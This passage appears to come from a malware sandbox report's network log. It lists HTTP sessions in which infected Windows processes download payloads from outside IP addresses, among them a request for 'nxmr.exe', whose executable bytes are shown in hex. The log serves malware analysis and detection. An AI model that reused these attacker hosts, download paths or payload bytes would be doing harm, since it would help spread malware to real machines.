Oct 26, 2024 07:27:03.546812057 CEST	873	IN	Data Raw: b7 1b ed 55 22 52 87 a3 c5 38 9f b8 98 95 ff b4 f2 c4 e9 dd 2d 0b 3c 5d 3d 5e 30 5e fd c6 f8 54 b4 2a e8 93 3d a8 1f 7d 5c e5 4d 1d c9 7e cb 06 5c 4c 2c 00 33 bd 10 e0 11 48 3b 01 7b 52 15 1a d2 67 2c a4 26 fc e8 3f 86 7e 08 4f 27 64 b0 a6 1b 25 Data Ascii: U"R8-<]=^0^T*=}\M~\L,3H;{Rg,&?~O'd%`dJU]~Y:\|2Jd-\ Q@n\\|{hYc$P;.s^X"@Nn>$2Y+J@Y},?r`41RmU\gd
Oct 26, 2024 07:27:09.641675949 CEST	166	OUT	GET /5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 185.215.113.66
Oct 26, 2024 07:27:09.917036057 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:27:09 GMT Content-Type: application/octet-stream Content-Length: 13568 Last-Modified: Tue, 22 Oct 2024 12:10:16 GMT Connection: keep-alive ETag: "67179628-3500" Accept-Ranges: bytes Data Raw: 0c 11 18 17 3d 7f 82 02 a6 24 36 4b 11 62 4d 55 d2 81 18 a8 7b ac b4 99 13 ea 95 14 cc 97 97 e2 0a 71 67 8a f6 90 c5 ca 7a 7b 56 bb fa e8 89 09 55 1a 05 57 8f 9c 1a 81 d8 bb 44 82 88 57 06 b0 a8 b1 0d 7d 50 5d 73 d2 54 4b d9 0b b0 cd a7 15 33 5a 57 25 7a d1 92 b0 cc 68 22 98 ff fd 1b 98 b0 f5 65 52 62 23 6d 48 84 63 2c a5 ce 1c d7 7e 20 81 7c 51 12 ee 07 70 82 1e bb bd 5b c1 57 cc 9f 3b 07 de 21 89 69 22 52 a2 b3 ac 41 42 e4 9f 74 46 e4 c5 ff 6a 73 b7 e0 c8 5f 4b 1f cc 28 e3 35 c9 6a 94 90 c9 95 c3 85 52 2c ae 57 13 b6 c7 b3 65 41 44 cb 6e cf 7e 5a 38 88 3a 70 d6 16 06 5e 35 43 a9 4c 56 d1 91 19 cf 12 60 0e f4 0e 93 ce ed f1 59 ab 0f ac b8 08 db 75 8f 57 bd 3e 74 90 a5 b5 79 a1 e7 5c 27 4a 05 b2 04 bb fc f0 de 98 12 16 00 a4 94 30 c4 34 a7 3f 3d d1 48 9d 54 69 63 38 91 b3 31 0e e5 1c 1b 3b 56 e3 53 a0 7c af cd 1f e8 b5 94 ca 54 f5 68 9c e2 81 d7 79 54 fc 2b 6d ba e7 01 91 17 71 86 42 4c 6b dd ff 4f a6 b4 df 21 b1 1d aa 7b 15 e2 4c ad c1 62 52 91 b1 1e ba e8 86 3c 96 57 ad 50 ef 4f 07 df 8e c3 28 72 [TRUNCATED] Data Ascii: =$6KbMU{qgz{VUWDW}P]sTK3ZW%zh"eRb#mHc,~ \|Qp[W;!i"RABtFjs_K(5jR,WeADn~Z8:p^5CLV`YuW>ty\'J04?=HTic81;VS\|ThyT+mqBLkO!{LbR<WPO(rVc=Tb''+DZE"rJ:h}nw1~z:/;fwH`^D\|%F8MD)A_uhi\:h%~!a>&cbV)g$V]Bg1v@%<+({Ps?'f#[V>%}sKu~gWA09-#98wSKfvZgi<)X>rRj9[t6'G*\3+veYh_9^H-'BIh=M8Nz-nt>+yJMpWPLkPyW"y~&ecMz6sC!J`mS?2"OR]N xcxkit9f#:a#C"Ql0p{{rtE:r:'lL]!poXAdOq'Fa\|yM{x;!++H.}bpp8h;qLLa<x<j
Oct 26, 2024 07:27:09.917139053 CEST	112	IN	Data Raw: c5 f6 81 b2 5c be 3a f2 f4 a0 69 51 cb 1e 7a 65 63 1b 5e ad 0c 1e cb bc 15 0c c8 3c fd 96 62 f2 d2 3b 0a d0 1e 9d 66 0c cb 26 ef d1 f3 6e 2b c7 40 85 15 6d 0d 88 4b f9 89 10 2c 37 76 33 d6 5d a0 0a 79 c4 65 0a bc ad 27 98 0e b2 33 fc 54 5c f2 dd Data Ascii: \:iQzec^<b;f&n+@mK,7v3]ye'3T\*Sk}):rN]WO]1G>
Oct 26, 2024 07:27:09.917170048 CEST	1236	IN	Data Raw: 9d ff ac 13 26 cb c9 21 3e dc d3 64 1f d4 fb 4b 2a 40 8a 9e 69 9c d7 88 b8 5b ba c3 f7 ae fa 88 5d de c1 ac aa e1 e0 7f f9 4c 06 c4 b9 fd f1 eb f2 cd ac 0e 84 7a 41 29 30 a1 85 dc 4e 24 80 77 81 7c 09 6e c7 f7 3d c9 cb d6 be 92 8b ff d2 c8 cc 02 Data Ascii: &!>dK@i[]LzA)0N$w\|n=29-BB){&ZI2ej` t3~%QBc=2]\K6Wq>d?H4$e[ist;0BeO#IeShA+< .Gw9`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49991	185.215.113.84	80	5112	C:\Users\user\AppData\Local\Temp\1091722296.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 07:27:09.033567905 CEST	177	OUT	GET /nxmr.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Host: 185.215.113.84
Oct 26, 2024 07:27:09.950824022 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:27:09 GMT Content-Type: application/octet-stream Content-Length: 5827584 Last-Modified: Fri, 27 Sep 2024 20:03:46 GMT Connection: keep-alive ETag: "66f70fa2-58ec00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 0b 00 b7 01 f7 66 00 00 00 00 00 00 00 00 f0 00 2e 02 0b 02 02 26 00 94 01 00 00 e8 58 00 00 1e 00 00 b0 14 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 05 00 02 00 00 00 00 00 00 70 59 00 00 04 00 00 91 87 59 00 02 00 60 01 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 20 59 00 34 0a 00 00 00 50 59 00 80 03 00 00 00 d0 58 00 58 11 00 00 00 00 00 00 00 00 00 00 00 60 59 00 30 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 b7 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEdf.&X@pYY` Y4PYXX`Y0X("YP.textP``.dataVV@.rdata9X:xX@@.pdataXXX@@.xdataXX@@.bssY.idata4 YX@.CRT`0YX@.tls@YX@.rsrcPYX@.reloc0`YX@B
Oct 26, 2024 07:27:09.950840950 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c3 0f 1f 44 00 00 66 2e 0f 1f 84 00 00 00 00 00 48 83 ec 28 48 8b 05 75 b1 Data Ascii: Df.H(HuX1HvXHyX
Oct 26, 2024 07:27:09.950856924 CEST	1236	IN	Data Raw: c7 00 01 00 00 00 48 8b 05 ec b0 58 00 66 81 38 4d 5a 75 0f 48 63 50 3c 48 01 d0 81 38 50 45 00 00 74 66 48 8b 05 1f b1 58 00 89 0d a5 ef 58 00 8b 00 85 c0 75 43 b9 01 00 00 00 e8 01 71 01 00 e8 54 6b 01 00 48 8b 15 dd b1 58 00 8b 12 89 10 e8 54 Data Ascii: HXf8MZuHcP<H8PEtfHXXuCqTkHXTkHXdHmX8tI1H(p@Pft9fu{1iH1H(xtLD1E8@f.
Oct 26, 2024 07:27:09.950912952 CEST	1236	IN	Data Raw: 90 90 90 90 90 48 8d 0d 09 00 00 00 e9 d4 ff ff ff 0f 1f 40 00 c3 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 48 8d 05 49 f8 58 00 48 8d 50 21 c6 00 00 48 83 c0 01 48 39 d0 75 f4 c3 48 8d 05 f1 f7 58 00 48 8d 50 18 66 c7 00 00 00 48 83 c0 02 48 Data Ascii: H@HIXHP!HH9uHXHPfHH9uHXHPfHH9uH}XHPfHH9uHXHPNfHH9uHXHPfHH9uHNXHP$fHH9uHXHPfHH9u
Oct 26, 2024 07:27:09.950962067 CEST	424	IN	Data Raw: 00 00 80 0f 05 fd 48 8d 94 24 38 18 00 00 b9 00 00 00 00 e8 ea 41 00 00 e8 8f 36 00 00 89 c6 e8 1d 3e 00 00 48 89 c7 48 8b 40 20 48 8b 98 80 00 00 00 48 8d 8c 24 30 16 00 00 41 b8 08 02 00 00 ba 00 00 00 00 e8 ff 67 01 00 66 c7 84 24 50 01 00 00 Data Ascii: H$8A6>HH@ HH$0Agf$Pf$R f$Tf$Vf$Xf$Zf$\f$^f$`f$bf$df$f=Xu<XHXDPfAHHu
Oct 26, 2024 07:27:09.950987101 CEST	1148	IN	Data Raw: 00 00 96 00 66 c7 84 24 5c 01 00 00 9e 00 66 c7 84 24 5e 01 00 00 64 00 66 c7 84 24 60 01 00 00 63 00 66 c7 84 24 62 01 00 00 31 00 80 3d 5e f1 58 00 00 75 3c c6 05 71 f1 58 00 01 b8 00 00 00 00 48 8d 0d 51 f1 58 00 0f b7 94 44 50 01 00 00 66 89 Data Ascii: f$\f$^df$`cf$b1=^Xu<qXHQXDPfAHHu,XHo=5Xt)HXHJfof%fHH9uXH$0H$ LX%H$Aef$P_f$Rff$T
Oct 26, 2024 07:27:09.951030970 CEST	1236	IN	Data Raw: c7 84 24 66 01 00 00 b2 00 66 c7 84 24 68 01 00 00 4d 00 80 3d 43 ec 58 00 00 75 3c c6 05 64 ec 58 00 01 b8 00 00 00 00 48 8d 0d 3e ec 58 00 0f b7 94 44 50 01 00 00 66 89 14 41 48 83 c0 01 48 83 f8 0d 75 ea c6 05 11 ec 58 00 01 48 8d 0d 5a f5 ff Data Ascii: $ff$hM=CXu<dXH>XDPfAHHuXHZ=(Xt)HXHJfAf%fHH9uXH$ H$LX'!H$Agaf$Pf$Rf$Tf$Vf$Xf
Oct 26, 2024 07:27:09.951055050 CEST	1236	IN	Data Raw: 58 00 01 b8 00 00 00 00 48 8d 0d 9a e6 58 00 0f b7 94 44 50 01 00 00 66 89 14 41 48 83 c0 01 48 83 f8 2d 75 ea c6 05 65 e6 58 00 01 48 8d 0d f5 f0 ff ff e8 e1 ef ff ff 80 3d c4 e6 58 00 00 74 29 48 8d 15 61 e6 58 00 48 8d 4a 5a 0f b7 02 66 2d cd Data Ascii: XHXDPfAHH-ueXH=Xt)HaXHJZf-Jf%fHH9uXf$P"f$R f$Tf$Vf$Xf$Zf$\f$^f$`f$bf$df$ff$h=X
Oct 26, 2024 07:27:09.951085091 CEST	224	IN	Data Raw: c7 84 24 5a 01 00 00 55 00 66 c7 84 24 5c 01 00 00 4e 00 66 c7 84 24 5e 01 00 00 45 00 66 c7 84 24 60 01 00 00 35 00 66 c7 84 24 62 01 00 00 52 00 66 c7 84 24 64 01 00 00 4b 00 66 c7 84 24 66 01 00 00 5c 00 66 c7 84 24 68 01 00 00 45 00 66 c7 84 Data Ascii: $ZUf$\Nf$^Ef$`5f$bRf$dKf$f\f$hEf$j=}Xu<XHpXDPfAHHuKXH=\Xt)H7XHJf-lf%fHH9u1Xf$P*f$R
Oct 26, 2024 07:27:09.951100111 CEST	1236	IN	Data Raw: 00 00 39 00 66 c7 84 24 54 01 00 00 39 00 66 c7 84 24 56 01 00 00 2d 00 66 c7 84 24 58 01 00 00 2a 00 66 c7 84 24 5a 01 00 00 3d 00 66 c7 84 24 5c 01 00 00 2a 00 66 c7 84 24 5e 01 00 00 26 00 66 c7 84 24 60 01 00 00 e9 00 80 3d d4 d9 58 00 00 75 Data Ascii: 9f$T9f$V-f$Xf$Z=f$\f$^&f$`=Xu<XHXDPfAHHuXH=Xt)HXHJf-lf%fHH9uXHmXHHH$L#X^f$Pf
Oct 26, 2024 07:27:09.956573963 CEST	1236	IN	Data Raw: 58 00 48 8d 4a 12 0f b7 02 66 2d dd 0c 66 25 ff 00 66 89 02 48 83 c2 02 48 39 d1 75 e9 c6 05 5f d4 58 00 00 48 8d 8c 24 50 01 00 00 41 b8 24 03 00 00 48 8d 15 c8 64 58 00 e8 83 52 01 00 80 3d e4 d0 58 00 00 75 3e c6 05 17 d4 58 00 01 b8 00 00 00 Data Ascii: XHJf-f%fHH9u_XH$PA$HdXR=Xu>XHXDPfAHH=uXH`=Xt,HXH$f-f%fHH9uX%XHXLXH=,Xu>3Xf"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49994	185.215.113.66	80	1588	C:\Windows\sysppvrdnvs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 07:27:10.930785894 CEST	166	OUT	GET /5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 185.215.113.66
Oct 26, 2024 07:27:11.869988918 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:27:11 GMT Content-Type: application/octet-stream Content-Length: 13568 Last-Modified: Tue, 22 Oct 2024 12:10:16 GMT Connection: keep-alive ETag: "67179628-3500" Accept-Ranges: bytes Data Raw: 0c 11 18 17 3d 7f 82 02 a6 24 36 4b 11 62 4d 55 d2 81 18 a8 7b ac b4 99 13 ea 95 14 cc 97 97 e2 0a 71 67 8a f6 90 c5 ca 7a 7b 56 bb fa e8 89 09 55 1a 05 57 8f 9c 1a 81 d8 bb 44 82 88 57 06 b0 a8 b1 0d 7d 50 5d 73 d2 54 4b d9 0b b0 cd a7 15 33 5a 57 25 7a d1 92 b0 cc 68 22 98 ff fd 1b 98 b0 f5 65 52 62 23 6d 48 84 63 2c a5 ce 1c d7 7e 20 81 7c 51 12 ee 07 70 82 1e bb bd 5b c1 57 cc 9f 3b 07 de 21 89 69 22 52 a2 b3 ac 41 42 e4 9f 74 46 e4 c5 ff 6a 73 b7 e0 c8 5f 4b 1f cc 28 e3 35 c9 6a 94 90 c9 95 c3 85 52 2c ae 57 13 b6 c7 b3 65 41 44 cb 6e cf 7e 5a 38 88 3a 70 d6 16 06 5e 35 43 a9 4c 56 d1 91 19 cf 12 60 0e f4 0e 93 ce ed f1 59 ab 0f ac b8 08 db 75 8f 57 bd 3e 74 90 a5 b5 79 a1 e7 5c 27 4a 05 b2 04 bb fc f0 de 98 12 16 00 a4 94 30 c4 34 a7 3f 3d d1 48 9d 54 69 63 38 91 b3 31 0e e5 1c 1b 3b 56 e3 53 a0 7c af cd 1f e8 b5 94 ca 54 f5 68 9c e2 81 d7 79 54 fc 2b 6d ba e7 01 91 17 71 86 42 4c 6b dd ff 4f a6 b4 df 21 b1 1d aa 7b 15 e2 4c ad c1 62 52 91 b1 1e ba e8 86 3c 96 57 ad 50 ef 4f 07 df 8e c3 28 72 [TRUNCATED] Data Ascii: =$6KbMU{qgz{VUWDW}P]sTK3ZW%zh"eRb#mHc,~ \|Qp[W;!i"RABtFjs_K(5jR,WeADn~Z8:p^5CLV`YuW>ty\'J04?=HTic81;VS\|ThyT+mqBLkO!{LbR<WPO(rVc=Tb''+DZE"rJ:h}nw1~z:/;fwH`^D\|%F8MD)A_uhi\:h%~!a>&cbV)g$V]Bg1v@%<+({Ps?'f#[V>%}sKu~gWA09-#98wSKfvZgi<)X>rRj9[t6'G*\3+veYh_9^H-'BIh=M8Nz-nt>+yJMpWPLkPyW"y~&ecMz6sC!J`mS?2"OR]N xcxkit9f#:a#C"Ql0p{{rtE:r:'lL]!poXAdOq'Fa\|yM{x;!++H.}bpp8h;qLLa<x<j
Oct 26, 2024 07:27:11.870002985 CEST	212	IN	Data Raw: c5 f6 81 b2 5c be 3a f2 f4 a0 69 51 cb 1e 7a 65 63 1b 5e ad 0c 1e cb bc 15 0c c8 3c fd 96 62 f2 d2 3b 0a d0 1e 9d 66 0c cb 26 ef d1 f3 6e 2b c7 40 85 15 6d 0d 88 4b f9 89 10 2c 37 76 33 d6 5d a0 0a 79 c4 65 0a bc ad 27 98 0e b2 33 fc 54 5c f2 dd Data Ascii: \:iQzec^<b;f&n+@mK,7v3]ye'3T\Sk}):rN]WO]1G>&!>dK@i[]LzA)0N$w\|n=29-
Oct 26, 2024 07:27:11.870024920 CEST	1236	IN	Data Raw: 42 fc 42 df b7 b7 f3 29 e3 7b d1 26 5a c7 49 32 0d 65 8a a5 6a f7 e4 d5 60 20 91 d3 74 10 ce 33 ff bd 7e 25 e2 51 42 fe 63 3d e9 32 f2 e4 5d 93 5c 4b 7f 04 99 cb 1a 85 1b ed c7 1d 1c eb 11 d6 36 d8 c2 11 57 e8 d6 f2 aa 71 3e c5 d7 b1 1c f4 a2 a0 Data Ascii: BB){&ZI2ej` t3~%QBc=2]\K6Wq>d?H4$*e[ist;0BeO#IeShA+< .Gw9`KCcv^21p P2_ri~,T31;TF^hT\t})tm
Oct 26, 2024 07:27:11.870040894 CEST	1236	IN	Data Raw: d5 8b a3 e0 ec 72 b0 ed a3 3a 73 e3 ac 27 8b 18 ae bb 5d 87 aa b3 db 40 94 0e 2d 3a 4e fb 12 dd 3d f2 dd d2 dd a3 72 80 4d 76 81 af 56 a9 06 82 ae ff 8a 79 49 37 1c a2 b7 3a 25 ed f2 08 ab 4d 8e dd 95 b1 5a 7d 61 fb d3 0b d2 02 20 1c 85 9c e0 7f Data Ascii: r:s']@-:N=rMvVyI7:%MZ}a OaYrPQ;\|<5c0aFh){B9hT-\|`56el/9uLltfDO\|CVi-\|R)
Oct 26, 2024 07:27:11.870055914 CEST	1236	IN	Data Raw: 6d 04 43 b9 79 60 4f 47 2a b3 06 4b 9f 7a be d0 c0 38 dc 6c 17 43 1e 74 6c 00 69 b0 8d 22 0a 73 79 98 ca 5f 43 59 c7 44 73 8d 02 a0 d3 49 7e 61 8a bd dc b0 82 db 37 0b 45 a1 57 3c 51 92 f5 a2 fc aa c2 9b 3a 89 7a e3 e8 0c cd c5 9c 06 84 c4 a4 02 Data Ascii: mCy`OG*Kz8lCtli"sy_CYDsI~a7EW<Q:z\,2`+tpk@T-#_DswpTn[/Ar"6k=G]5-[<FMBL]T"vV@#>:LkEIBIqI("
Oct 26, 2024 07:27:11.870070934 CEST	636	IN	Data Raw: 1d e8 10 4a fe b7 ee d7 2e e9 d1 70 53 ec 08 6d 77 87 ce ab f8 b4 8d 12 03 c2 d0 fc 32 58 ac ae c2 7d a6 ff 67 7c d6 bd 35 b0 14 41 eb 84 7f cc e3 42 77 6f 3d 2f e4 e7 77 5d a6 ee 11 a8 b8 42 97 f2 5a d3 93 6e e3 01 36 1e 1b d9 3d 8e 5a 07 fc 0e Data Ascii: J.pSmw2X}g\|5ABwo=/w]BZn6=Z!o{TVSz7[G8ZRb"wJ?is&w3M?8LBTa5Mr(*BDh)(l?ISrmXlv YF{R`[Rxi`Zi
Oct 26, 2024 07:27:11.870107889 CEST	1236	IN	Data Raw: 93 a1 90 ab 37 af 30 7f 48 18 06 1f 15 b9 2e ec e8 73 01 f0 05 26 34 36 48 b8 61 0b 29 d3 5c 05 24 1e f7 c4 21 c4 ec b8 a7 ab fa 77 22 70 9d 28 d1 b8 34 4b a2 ad ab e6 02 38 6a d1 66 3d 75 3b 40 9b 87 af 83 1b 24 38 4d 6d 99 e1 e4 12 0e ca 6f 86 Data Ascii: 70H.s&46Ha)\$!w"p(4K8jf=u;@$8Mmo(J4k8G*ncP=-jE@kzU9:tPT'NrpwE"8(s:{-setq^Eb.\|:zRQkF(6Y!i
Oct 26, 2024 07:27:11.870132923 CEST	212	IN	Data Raw: 23 d5 c5 54 a8 f5 25 5b fc e9 87 96 2a 8f aa 00 fa ea 1e 3c e7 39 43 a4 56 81 d8 64 8d a2 85 9a 3e 83 e2 80 07 f0 92 bc 55 e6 8c 6b 64 b6 ff 69 c8 9c d1 71 bb b7 42 09 2f dd 9a 62 67 57 5e 14 bf c2 32 b3 fc a6 27 d3 4e 8f 2b 0c cf 53 4e f0 d3 b4 Data Ascii: #T%[<9CVd>UkdiqB/bgW^2'N+SN8s67H_qigq~+3s3p}U,<iv!f]c;>,E,^_;S.~`25HW.sZL F
Oct 26, 2024 07:27:11.870146036 CEST	1236	IN	Data Raw: eb 3c 0e 75 09 3d eb d4 cb 44 50 f8 50 fd 65 4f 09 8b b9 60 0d 1b 91 a2 a6 71 fe 16 35 6a 38 5e 5d ac 8b 1e 29 2e 71 d2 f9 39 da 7b c7 6c 62 36 1e 33 f6 73 18 da 1f ca 05 bc 7c 4d cb 47 d0 bc 88 73 60 63 2a 46 45 1f 0e d4 ec 2f a3 dc b5 6b 1f 12 Data Ascii: <u=DPPeO`q5j8^]).q9{lb63s\|MGs`c*FE/k5(/;"ELZf_7 {^EsloCdlU&~2o8GD~tO!.L%z6K(3S{} 5(SWakdlgj"9
Oct 26, 2024 07:27:11.870163918 CEST	1236	IN	Data Raw: 31 0c 71 5b 1f 50 f7 13 05 db f7 99 2f bc c0 cb 1b a6 3f da e7 66 42 02 bb d4 31 8f b2 54 0f 8f 9f 65 9e cc 92 4e ef cb c4 ec b8 dd 57 2a 75 d8 17 db 5d 74 33 70 78 47 0d 46 b5 31 0c 2b 63 6b 17 b7 4d 35 1d 1c 0b e9 5c 4c 62 c1 a8 a9 4b 74 16 ba Data Ascii: 1q[P/?fB1TeNW*u]t3pxGF1+ckM5\LbKt}ZWO^`.UNOhn?})UQn{3v@%<sBiMPk!( rWOsv</Es^Wi<x-vL-B'
Oct 26, 2024 07:27:11.875447035 CEST	1236	IN	Data Raw: ac 1e 90 10 e7 1f 7a 1f 74 24 22 ff 32 0f f7 fd 62 56 2d 0a 00 f0 de 21 a4 ac 83 3f a6 b0 33 f8 77 4b 49 4e 42 a9 68 b3 bf f3 9d f3 87 d6 28 95 91 06 e7 a6 f6 05 6a 08 02 d8 53 c6 0b 8a fe ab c7 f0 c0 af aa b0 ca 14 a5 0d eb fe 2f a4 e1 b6 a5 62 Data Ascii: zt$"2bV-!?3wKINBh(jS/bXJ[&r9kYPnU0Oj@`@;nZkz;'MJJCXrVmFzHbBa-&TTHD'Y,Nikm07<G/p{gT`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49997	91.202.233.141	80	6992	C:\Users\user\AppData\Local\Temp\146916724.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 07:27:17.809063911 CEST	182	OUT	GET /ALLBSTATAASASD HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 91.202.233.141
Oct 26, 2024 07:27:18.565994978 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:27:18 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49998	91.202.233.141	80	1588	C:\Windows\sysppvrdnvs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 07:27:19.313267946 CEST	166	OUT	GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 91.202.233.141
Oct 26, 2024 07:27:20.277121067 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:27:20 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 26, 2024 07:27:22.346453905 CEST	166	OUT	GET /2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 91.202.233.141
